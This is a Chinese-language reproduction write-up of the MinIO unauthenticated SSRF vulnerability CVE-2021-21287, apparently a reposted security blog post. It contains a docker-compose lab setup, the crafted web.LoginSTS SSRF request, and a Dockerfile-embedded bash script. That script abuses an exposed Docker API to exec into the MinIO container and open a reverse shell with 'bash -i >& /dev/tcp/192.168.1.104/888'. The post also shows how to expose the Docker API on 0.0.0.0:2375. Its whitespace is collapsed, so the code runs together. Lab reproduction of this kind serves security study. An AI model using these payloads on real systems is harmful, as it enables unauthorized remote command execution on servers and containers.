MinIO未授權SSRF漏洞(CVE-2021-21287)


MinIO未授權SSRF漏洞(CVE-2021-21287)

一、漏洞簡介

由於MinIO組件中LoginSTS接口設計不當,導致存在服務器端請求偽造漏洞

攻擊者可以通過構造URL來發起服務器端請求偽造攻擊成功利用此漏洞的攻擊者能夠通過利用服務器上的功能來讀取、更新內部資源或執行任意命令

該漏洞無需用戶驗證即可遠程利用

二、影響版本

MinIO < RELEASE.2021-01-30T00-20-58Z

三、環境准備&漏洞復現

Docker 安裝 minio:

docker-compose.yml

version:'3.7'services:minio1:image:minio/minio:RELEASE.2021-01-16T02-19-44Zvolumes:-data1-1:/data1-data1-2:/data2ports:-"9000:9000"environment:MINIO_ACCESS_KEY:minioMINIO_SECRET_KEY:minio123command:server http://minio{1...4}/data{1...2}healthcheck:test:["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]interval:30stimeout:20sretries:3​​## By default this config uses default local driver,## For custom volumes replace with volume driver configuration.volumes:data1-1:data1-2:

啟動環境:

首頁樣式:

http://192.168.1.108:9000/minio/login

1、驗證SSRF

具體數據包:

POST/minio/webrpcHTTP/1.1Host: 192.168.1.104:1234User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Content-Type: application/jsonConnection: closeContent-Length: 79​{"id":1,"jsonrpc":"2.0","params":{"token":"test"},"method":"web.LoginSTS"}

2、ssrf反彈shell

web服務下面放文件:index.php(apache)

 

反彈shell文件:

DockerFile如下:

FROM alpine:3.13​RUN apk add curl bash jq​RUNset-ex && \    { \echo'#!/bin/bash'; \echo'set -ex'; \echo'target="http://192.168.1.108:2375"'; \echo'jsons=$(curl -s -XGET "${target}/containers/json" | jq -r ".[] | @base64")'; \echo'for item in ${jsons[@]}; do'; \echo'    name=$(echo $item | base64 -d | jq -r ".Image")'; \echo'    if [[ "$name" == *"minio/minio"* ]]; then'; \echo'        id=$(echo $item | base64 -d | jq -r ".Id")'; \echo'        break'; \echo'    fi'; \echo'done'; \echo'execid=$(curl -s -X POST "${target}/containers/${id}/exec" -H "Content-Type: application/json" --data-binary "{\"Cmd\": [\"bash\", \"-c\", \"bash -i >& /dev/tcp/192.168.1.104/888 0>&1\"]}" | jq -r ".Id")'; \echo'curl -s -X POST "${target}/exec/${execid}/start" -H "Content-Type: application/json" --data-binary "{}"'; \    } | bash

具體操作數據包:

POST/minio/webrpcHTTP/1.1Host: 192.168.1.104User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Content-Type: application/jsonConnection: closeContent-Length: 79​{"id":1,"jsonrpc":"2.0","params":{"token":"test"},"method":"web.LoginSTS"}

為了好的展示錄了一個小視頻。

過程枯燥等待較長:加了一個BGM

視頻:

操作視頻的結果:

https://mp.weixin.qq.com/s/9OavrcdczSZDXler5IpiQQ

 

 

注意⚠️:

因為自己Docker API已開啟,過程未寫入其中。

開啟Docker API參考:

打開配置文件找到ExecStart=/usr/bin/dockerd ​修改為ExecStart=/usr/bin/dockerd  -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock重啟​$ systemctl daemon-reload$ systemctl restart docker

過程中還是很多坑需要去爬😂😂😂(多次嘗試未果,最后成功,部分細節未記錄丟失了)

時間匆忙有些粗糙望見諒🙏

SSRF-poc:

POST/minio/webrpcHTTP/1.1Host: 監聽地址User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Content-Type: application/jsonConnection: closeContent-Length: 79​​{"id":1,"jsonrpc":"2.0","params":{"token":"test"},"method":"web.LoginSTS"}

參考:

https://mp.weixin.qq.com/s/X04IhY9Oau-kDOVbok8wEw

https://www.o2oxy.cn/3104.html

https://www.leavesongs.com/PENETRATION/the-collision-of-containers-and-the-cloud-pentesting-a-MinIO.html

免責聲明:本站提供安全工具、程序(方法)可能帶有攻擊性,僅供安全研究與教學之用,風險自負!

轉載聲明:著作權歸作者所有。商業轉載請聯系作者獲得授權,非商業轉載請注明出處。

訂閱查看更多復現文章、學習筆記

thelostworld

安全路上,與你並肩前行!!!!

個人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns

個人簡書:https://www.jianshu.com/u/bf0e38a8d400

個人CSDN:https://blog.csdn.net/qq_37602797/category_10169006.html

個人博客園:https://www.cnblogs.com/thelostworld/

FREEBUF主頁:https://www.freebuf.com/author/thelostworld?type=article

歡迎添加本公眾號作者微信交流,添加時備注一下“公眾號”


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM